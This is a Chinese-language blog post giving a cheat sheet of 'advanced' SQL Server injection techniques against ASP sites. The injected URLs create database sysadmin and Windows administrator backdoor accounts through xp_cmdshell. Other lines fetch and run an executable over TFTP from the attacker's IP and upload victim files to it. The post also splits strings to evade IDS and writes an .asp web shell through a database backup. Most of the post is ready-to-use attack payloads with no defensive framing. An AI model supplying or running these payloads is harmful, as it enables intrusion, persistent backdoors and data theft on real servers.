桂林老兵的SQLSERVER高級注入技巧

穩萊

桂林老兵的SQLSERVER高級注入技巧
 
  現在將老兵本人多年的SQLSERVER注入高級技巧奉獻給支持老兵的朋友:

 

前言:
即是高級技巧,其他基本的注入方法就不詳述了。
看不懂可查本站的注入基礎文章。
為了更好的用好注入,建議大家看看本站的SQL語法相關文章

 

[獲取全部數據庫名]
select name from master.dbo.sysdatabases where dbid=7  //dbid的值為7以上都是用戶數據庫

 

[獲得數據表名][將字段值更新為表名,再想法讀出這個字段的值就可得到表名]
select top 1 name from 數據庫名.dbo.sysobjects where xtype='u' and status>0 and name not in('table')

 

[獲得數據表字段名][將字段值更新為字段名,再想法讀出這個字段的值就可得到字段名]
select top 1 數據庫名.dbo.col_name(object_id('要查詢的數據表名'),字段列如:1) [ where 條件]

 

 

 

通過SQLSERVER注入漏洞建數據庫管理員帳號和系統管理員帳號[當前帳號必須是SYSADMIN組]

 

news.asp?id=2;exec master.dbo.sp_addlogin test,test;--  //添加數據庫用戶用戶test,密碼為test
news.asp?id=2;exec master.dbo.sp_password test,123456,test;-- //如果想改密碼,則用這句(將test的密碼改為123456)
news.asp?id=2;exec master.dbo.sp_addsrvrolemember test,sysadmin;-- //將test加到sysadmin組,這個組的成員可執行任何操作
news.asp?id=2;exec master.dbo.xp_cmdshell 'net user test test /add';--  //添加系統用戶test,密碼為test
news.asp?id=2;exec master.dbo.xp_cmdshell 'net localgroup administrators test /add';--  //將系統用戶test提升為管理員

 

這樣,你在他的數據庫和系統內都留下了test管理員賬號了

 


下面是如何從你的服器下載文件file.exe後運行它[前提是你必須將你的電腦設為TFTP服務器,將69端口打開]

 

id=2; exec master.dbo.xp_cmdshell 'tftp –i 你的IP get file.exe';--

 

然後運行這個文件:
id=2; exec master.dbo.xp_cmdshell 'file.exe';--

 

下載服務器的文件file2.doc到本地TFTP服務器[文件必須存在]:

 

id=2; exec master.dbo.xp_cmdshell 'tftp –i 你的IP Put file2.doc';--

 

繞過IDS的檢測[使用變量]
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\'
declare @a sysname set @a='xp'+'_cm』+』dshell' exec @a 'dir c:\'

 


新加的:

 

建一個表。只有一個字段,類型為image,將asp內容寫入。導出數據庫為文件
backup database dbname to disk='d:\web\db.asp';

 

報錯得到系統操作系統和數據庫系統版本號
id=2 and 1<>(select @@VERSION);

 給當前日誌評分:
Loading Vote
正在讀取評分資料...


文章來自: Tank部落格
引用通告: 查看所有引用 | 我要引用此文章
Tags:
相關日誌:

評論: 0 | 引用: 0 | 查看次數: -
發表評論
暱 稱:
密 碼: 遊客發言不需要密碼.
內 容:
驗證碼: 驗證碼
選 項:
雖然發表評論不用註冊,但是為了保護您的發言權,建議您註冊帳號.